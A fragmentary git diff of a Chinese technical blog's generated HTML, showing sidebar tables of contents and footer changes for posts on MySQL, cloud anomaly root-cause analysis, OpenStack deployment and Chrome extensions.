href="#CREATE-TABLE"><span class="toc-number">20.</span> <span class="toc-text">CREATE TABLE</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#NULL"><span class="toc-number">20.1.</span> <span class="toc-text">NULL</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PRIMARY-KEY"><span class="toc-number">20.2.</span> <span class="toc-text">PRIMARY KEY</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#AUTO-INCREMENT"><span class="toc-number">20.3.</span> <span class="toc-text">AUTO_INCREMENT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DEFAULT"><span class="toc-number">20.4.</span> <span class="toc-text">DEFAULT</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ENGINE"><span class="toc-number">20.5.</span> <span class="toc-text">ENGINE</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#ALTER-TABLE"><span class="toc-number">21.</span> <span class="toc-text">ALTER TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#RENAME-TABLE"><span class="toc-number">22.</span> <span class="toc-text">RENAME TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#DROP-TABLE"><span class="toc-number">23.</span> <span class="toc-text">DROP TABLE</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%86%E5%9B%BE%EF%BC%88View%EF%BC%89"><span class="toc-number">24.</span> <span class="toc-text">视图（View）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%80%E5%8C%96%E5%A4%8D%E6%9D%82%E7%9A%84-SQL%E6%93%8D%E4%BD%9C"><span class="toc-number">24.1.</span> <span class="toc-text">简化复杂的 SQL操作</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%A0%BC%E5%BC%8F%E5%8C%96%E6%95%B0%E6%8D%AE"><span class="toc-number">24.2.</span> <span class="toc-text">格式化数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE"><span class="toc-number">24.3.</span> <span class="toc-text">过滤数据</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%AD%97%E6%AE%B5-1"><span class="toc-number">24.4.</span> <span class="toc-text">计算字段</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9B%B4%E6%96%B0%E8%A7%86%E5%9B%BE"><span class="toc-number">24.5.</span> <span class="toc-text">更新视图</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B%EF%BC%88stored-procedure%EF%BC%89"><span class="toc-number">25.</span> <span class="toc-text">存储过程（stored procedure）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#CREATE-PROCEDURE"><span class="toc-number">25.1.</span> <span class="toc-text">CREATE PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CALL"><span class="toc-number">25.2.</span> <span class="toc-text">CALL</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#DROP-PROCEDURE"><span class="toc-number">25.3.</span> <span class="toc-text">DROP PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-CREATE-PROCEDURE"><span class="toc-number">25.4.</span> <span class="toc-text">SHOW CREATE PROCEDURE</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#SHOW-PROCEDURE-STATUS"><span class="toc-number">25.5.</span> <span class="toc-text">SHOW PROCEDURE STATUS</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%99%BA%E8%83%BD%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B"><span class="toc-number">25.6.</span> <span class="toc-text">智能存储过程</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%B8%B8%E6%A0%87"><span class="toc-number">26.</span> <span class="toc-text">游标</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA"><span class="toc-number">26.1.</span> <span class="toc-text">创建</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%93%E5%BC%80%E5%92%8C%E5%85%B3%E9%97%AD"><span class="toc-number">26.2.</span> <span class="toc-text">打开和关闭</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E6%B8%B8%E6%A0%87"><span class="toc-number">26.3.</span> <span class="toc-text">使用游标</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A6%E5%8F%91%E5%99%A8%EF%BC%88Triggers%EF%BC%89"><span class="toc-number">27.</span> <span class="toc-text">触发器（Triggers）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%9B%E5%BB%BA-1"><span class="toc-number">27.1.</span> <span class="toc-text">创建</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%A0%E9%99%A4"><span class="toc-number">27.2.</span> <span class="toc-text">删除</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8"><span class="toc-number">27.3.</span> <span class="toc-text">使用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%8B%E5%8A%A1%EF%BC%88TRANSACTION%EF%BC%89"><span class="toc-number">28.</span> <span class="toc-text">事务（TRANSACTION）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8E%A7%E5%88%B6%E4%BA%8B%E5%8A%A1%E5%A4%84%E7%90%86"><span class="toc-number">28.1.</span> <span class="toc-text">控制事务处理</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AD%97%E7%AC%A6%E9%9B%86%E5%92%8C%E6%A0%A1%E5%AF%B9"><span class="toc-number">29.</span> <span class="toc-text">字符集和校对</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%EF%BC%88Access-Control%EF%BC%89"><span class="toc-number">30.</span> <span class="toc-text">访问控制（Access Control）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E8%B4%A6%E5%8F%B7"><span class="toc-number">30.1.</span> <span class="toc-text">用户账号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BF%E9%97%AE%E6%9D%83%E9%99%90"><span class="toc-number">30.2.</span> <span class="toc-text">访问权限</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93%E7%BB%B4%E6%8A%A4"><span class="toc-number">31.</span> <span class="toc-text">数据库维护</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D%EF%BC%88Backup-and-Recovery%EF%BC%89"><span class="toc-number">31.1.</span> <span class="toc-text">备份与恢复（Backup and Recovery）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%B4%E6%8A%A4"><span class="toc-number">31.2.</span> <span class="toc-text">维护</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%8A%E6%96%AD%E5%90%AF%E5%8A%A8%E9%97%AE%E9%A2%98"><span class="toc-number">31.3.</span> <span class="toc-text">诊断启动问题</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6"><span class="toc-number">31.4.</span> <span class="toc-text">日志文件</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%94%B9%E5%96%84%E6%80%A7%E8%83%BD"><span class="toc-number">32.</span> <span class="toc-text">改善性能</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" 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@@ -246,7 +246,7 @@ <h1 id="TripleO"><a href="#TripleO" class="headerlink" title="TripleO"></a><a ta
 <img src="https://i.loli.net/2021/06/06/kEe81hj9FVA7Mzr.png" width="60%">
 
 <h1 id="RDO-Packstack"><a href="#RDO-Packstack" class="headerlink" title="RDO - Packstack"></a>RDO - <a target="_blank" rel="noopener" href="https://www.rdoproject.org/install/packstack/">Packstack</a></h1><p>RDO 是一个在 CentOS、Fedora 和 Red Hat Enterprise Linux 上使用和部署 OpenStack 的社区， Packstack 是其提供的部署工具，使用 SSH 和 Puppet 模块进行自动化部署，主要用于概念验证。目前官方给出的文档说明支持在 RHEL 7&#x2F;CentOS 7 上安装 Train 版本，以及在 RHEL 8&#x2F;CentOS 8 上安装 Ussuri 版本。</p>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/01/20/OpenStack/OpenStack%20%E9%83%A8%E7%BD%B2%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/">https://jckling.github.io/2021/01/20/OpenStack/OpenStack 部署方式总结/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" 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 <h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>多层服务或云应用涉及上百个组件，而这些组件又分布在不同的主机上。IaaS 云允许租户共享物理计算基础设施，可能影响性能。</p>
 <p>公有云上租户的多层服务出现异常，可能是租户自身服务组件的问题，也可能是被其他租户的服务影响。</p>
 <p>多层服务组件之间的依赖关系非常复杂，入侵式修改租户的服务组件代码不可行。</p>
@@ -422,7 +422,7 @@ <h1 id="进程级别的根本原因分析"><a href="#进程级别的根本原因
 <p>然后，云提供商可以使用 <code>getComplete_ms_avg</code> 函数来获取元组进程的总时间（从数据 spout 接收句子到 WordCount bolt 完成句子的单词计数的时间），再使用 <code>getExecute_ms_avg</code> 函数获取每个 bolt 进程所花费的时间。</p>
 <p>使用这些度量数据，云供应商可以计算出这些节点的相似性。</p>
 <p>最后，云提供商可以对 APG 使用随机游走算法，找出根本原因列表及其相应的概率。</p>
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class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%AE%80%E4%BB%8B"><span class="toc-number">1.</span> <span class="toc-text">简介</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%9B%B8%E5%85%B3%E5%B7%A5%E4%BD%9C"><span class="toc-number">2.</span> <span class="toc-text">相关工作</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E7%B1%BB%E5%9E%8B%E5%92%8C%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84"><span class="toc-number">3.</span> <span class="toc-text">异常传播类型和系统架构</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E7%B1%BB%E5%9E%8B"><span class="toc-number">3.1.</span> <span class="toc-text">异常传播类型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84"><span class="toc-number">3.2.</span> <span class="toc-text">系统架构</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E5%9B%BE%EF%BC%88Anomaly-Propagation-Graph-APG%EF%BC%89"><span class="toc-number">4.</span> <span class="toc-text">异常传播图（Anomaly Propagation Graph, APG）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E5%B1%82%E6%9C%8D%E5%8A%A1%E8%AF%B7%E6%B1%82%E8%B7%9F%E8%B8%AA"><span class="toc-number">4.1.</span> <span class="toc-text">多层服务请求跟踪</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E9%80%A0-VCG"><span class="toc-number">4.2.</span> <span class="toc-text">构造 VCG</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E9%80%A0-APG"><span class="toc-number">4.3.</span> <span class="toc-text">构造 APG</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%AE%9A%E4%BD%8D"><span class="toc-number">5.</span> <span class="toc-text">根本原因定位</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BA%A6%E9%87%8F%E6%95%B0%E6%8D%AE%E6%94%B6%E9%9B%86"><span class="toc-number">5.1.</span> <span class="toc-text">度量数据收集</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%9B%B8%E4%BC%BC%E5%BA%A6%E8%AE%A1%E7%AE%97"><span class="toc-number">5.2.</span> <span class="toc-text">相似度计算</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9A%8F%E6%9C%BA%E6%B8%B8%E8%B5%B0%E7%AE%97%E6%B3%95"><span class="toc-number">5.3.</span> <span class="toc-text">随机游走算法</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E8%AF%84%E4%BC%B0"><span class="toc-number">6.</span> <span class="toc-text">实验评估</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83"><span class="toc-number">6.1.</span> <span class="toc-text">实验环境</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%A7%E8%83%BD%E8%AF%84%E4%BC%B0"><span class="toc-number">6.2.</span> <span class="toc-text">性能评估</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%BA%A7%E5%88%AB%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">6.3.</span> <span class="toc-text">虚拟机级别的根本原因分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E7%A7%8D%E5%8E%9F%E5%9B%A0%E5%BC%95%E8%B5%B7%E5%BC%82%E5%B8%B8%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">6.4.</span> <span class="toc-text">多种原因引起异常的根本原因分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AF%8A%E6%96%AD%E6%97%B6%E9%97%B4%E5%88%86%E6%9E%90"><span class="toc-number">6.5.</span> <span class="toc-text">诊断时间分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%96%B9%E6%B3%95%E8%AE%A8%E8%AE%BA"><span class="toc-number">6.6.</span> <span class="toc-text">方法讨论</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%BF%9B%E7%A8%8B%E7%BA%A7%E5%88%AB%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">7.</span> <span class="toc-text">进程级别的根本原因分析</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%AE%80%E4%BB%8B"><span class="toc-number">1.</span> <span class="toc-text">简介</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%9B%B8%E5%85%B3%E5%B7%A5%E4%BD%9C"><span class="toc-number">2.</span> <span class="toc-text">相关工作</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E7%B1%BB%E5%9E%8B%E5%92%8C%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84"><span class="toc-number">3.</span> <span class="toc-text">异常传播类型和系统架构</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E7%B1%BB%E5%9E%8B"><span class="toc-number">3.1.</span> <span class="toc-text">异常传播类型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84"><span class="toc-number">3.2.</span> <span class="toc-text">系统架构</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%82%E5%B8%B8%E4%BC%A0%E6%92%AD%E5%9B%BE%EF%BC%88Anomaly-Propagation-Graph-APG%EF%BC%89"><span class="toc-number">4.</span> <span class="toc-text">异常传播图（Anomaly Propagation Graph, APG）</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E5%B1%82%E6%9C%8D%E5%8A%A1%E8%AF%B7%E6%B1%82%E8%B7%9F%E8%B8%AA"><span class="toc-number">4.1.</span> <span class="toc-text">多层服务请求跟踪</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E9%80%A0-VCG"><span class="toc-number">4.2.</span> <span class="toc-text">构造 VCG</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9E%84%E9%80%A0-APG"><span class="toc-number">4.3.</span> <span class="toc-text">构造 APG</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%AE%9A%E4%BD%8D"><span class="toc-number">5.</span> <span class="toc-text">根本原因定位</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BA%A6%E9%87%8F%E6%95%B0%E6%8D%AE%E6%94%B6%E9%9B%86"><span class="toc-number">5.1.</span> <span class="toc-text">度量数据收集</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%9B%B8%E4%BC%BC%E5%BA%A6%E8%AE%A1%E7%AE%97"><span class="toc-number">5.2.</span> <span class="toc-text">相似度计算</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9A%8F%E6%9C%BA%E6%B8%B8%E8%B5%B0%E7%AE%97%E6%B3%95"><span class="toc-number">5.3.</span> <span class="toc-text">随机游走算法</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E8%AF%84%E4%BC%B0"><span class="toc-number">6.</span> <span class="toc-text">实验评估</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83"><span class="toc-number">6.1.</span> <span class="toc-text">实验环境</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%80%A7%E8%83%BD%E8%AF%84%E4%BC%B0"><span class="toc-number">6.2.</span> <span class="toc-text">性能评估</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%BA%A7%E5%88%AB%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">6.3.</span> <span class="toc-text">虚拟机级别的根本原因分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E7%A7%8D%E5%8E%9F%E5%9B%A0%E5%BC%95%E8%B5%B7%E5%BC%82%E5%B8%B8%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">6.4.</span> <span class="toc-text">多种原因引起异常的根本原因分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AF%8A%E6%96%AD%E6%97%B6%E9%97%B4%E5%88%86%E6%9E%90"><span class="toc-number">6.5.</span> <span class="toc-text">诊断时间分析</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%96%B9%E6%B3%95%E8%AE%A8%E8%AE%BA"><span class="toc-number">6.6.</span> <span class="toc-text">方法讨论</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E8%BF%9B%E7%A8%8B%E7%BA%A7%E5%88%AB%E7%9A%84%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E5%88%86%E6%9E%90"><span class="toc-number">7.</span> <span class="toc-text">进程级别的根本原因分析</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img 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diff --git "a/2021/01/27/Other/Chrome \346\217\222\344\273\266\346\216\250\350\215\220/index.html" "b/2021/01/27/Other/Chrome \346\217\222\344\273\266\346\216\250\350\215\220/index.html"
index e14604c8b..865259af1 100644
--- "a/2021/01/27/Other/Chrome \346\217\222\344\273\266\346\216\250\350\215\220/index.html"	
+++ "b/2021/01/27/Other/Chrome \346\217\222\344\273\266\346\216\250\350\215\220/index.html"	
@@ -209,7 +209,7 @@ <h1 id="0x13-Dark-Reader"><a href="#0x13-Dark-Reader" class="headerlink" title="
 
 <h1 id="0x14-划词翻译"><a href="#0x14-划词翻译" class="headerlink" title="0x14 划词翻译"></a>0x14 <a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/%E5%88%92%E8%AF%8D%E7%BF%BB%E8%AF%91/ikhdkkncnoglghljlkmcimlnlhkeamad">划词翻译</a></h1><p>非常好用的翻译插件，可以配置翻译多个翻译引擎，还支持翻译 pdf 文档。</p>
 <img src="https://s2.loli.net/2022/03/28/94rk5t3VQJob1Xw.jpg" />
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Stylus</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x12-GitZip-for-github"><span class="toc-text">0x12 GitZip for github</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x13-Dark-Reader"><span class="toc-text">0x13 Dark Reader</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x14-%E5%88%92%E8%AF%8D%E7%BF%BB%E8%AF%91"><span class="toc-text">0x14 划词翻译</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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SwitchyOmega</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x05-Session-Buddy"><span class="toc-text">0x05 Session Buddy</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x06-Markdown-Here"><span class="toc-text">0x06 Markdown Here</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x07-Markdown-Viewer"><span class="toc-text">0x07 Markdown Viewer</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x08-Multi-highlight"><span class="toc-text">0x08 Multi-highlight</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x09-Vimium"><span class="toc-text">0x09 Vimium</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x10-Wikiwand-Wikipedia-Modernized"><span class="toc-text">0x10 Wikiwand: Wikipedia Modernized</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x11-Stylus"><span class="toc-text">0x11 Stylus</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x12-GitZip-for-github"><span class="toc-text">0x12 GitZip for github</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x13-Dark-Reader"><span class="toc-text">0x13 Dark Reader</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x14-%E5%88%92%E8%AF%8D%E7%BF%BB%E8%AF%91"><span class="toc-text">0x14 划词翻译</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" 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diff --git "a/2021/05/13/OpenStack/Ubuntu18.04 \346\272\220\347\240\201\345\256\211\350\243\205 Glance (Victoria)/index.html" "b/2021/05/13/OpenStack/Ubuntu18.04 \346\272\220\347\240\201\345\256\211\350\243\205 Glance (Victoria)/index.html"
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@@ -205,7 +205,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://docs.openstack.org/glance/ocata/installing.html#installing-from-git">Installing from Git</a></li>
 <li><a target="_blank" rel="noopener" href="https://docs.rackspace.com/blog/install-openstack-from-source2/">Install OpenStack from source - part 2</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2021/05/13/OpenStack/Ubuntu18.04%20%E6%BA%90%E7%A0%81%E5%AE%89%E8%A3%85%20Glance%20(Victoria)/">https://jckling.github.io/2021/05/13/OpenStack/Ubuntu18.04 源码安装 Glance (Victoria)/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a 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class="toc-text">数据库配置</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E5%92%8C-API-%E9%85%8D%E7%BD%AE"><span class="toc-number">2.2.</span> <span class="toc-text">身份认证和 API 配置</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Glance-%E9%83%A8%E7%BD%B2"><span class="toc-number">3.</span> <span class="toc-text">Glance 部署</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">3.1.</span> <span class="toc-text">安装依赖</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6"><span class="toc-number">3.2.</span> <span class="toc-text">配置文件</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%90%AF%E7%94%A8%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.</span> <span class="toc-text">启用服务</span></a></li></ol></li><li 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toc-level-2"><a class="toc-link" href="#%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E5%92%8C-API-%E9%85%8D%E7%BD%AE"><span class="toc-number">2.2.</span> <span class="toc-text">身份认证和 API 配置</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Glance-%E9%83%A8%E7%BD%B2"><span class="toc-number">3.</span> <span class="toc-text">Glance 部署</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%89%E8%A3%85%E4%BE%9D%E8%B5%96"><span class="toc-number">3.1.</span> <span class="toc-text">安装依赖</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6"><span class="toc-number">3.2.</span> <span class="toc-text">配置文件</span></a></li><li class="toc-item toc-level-2"><a 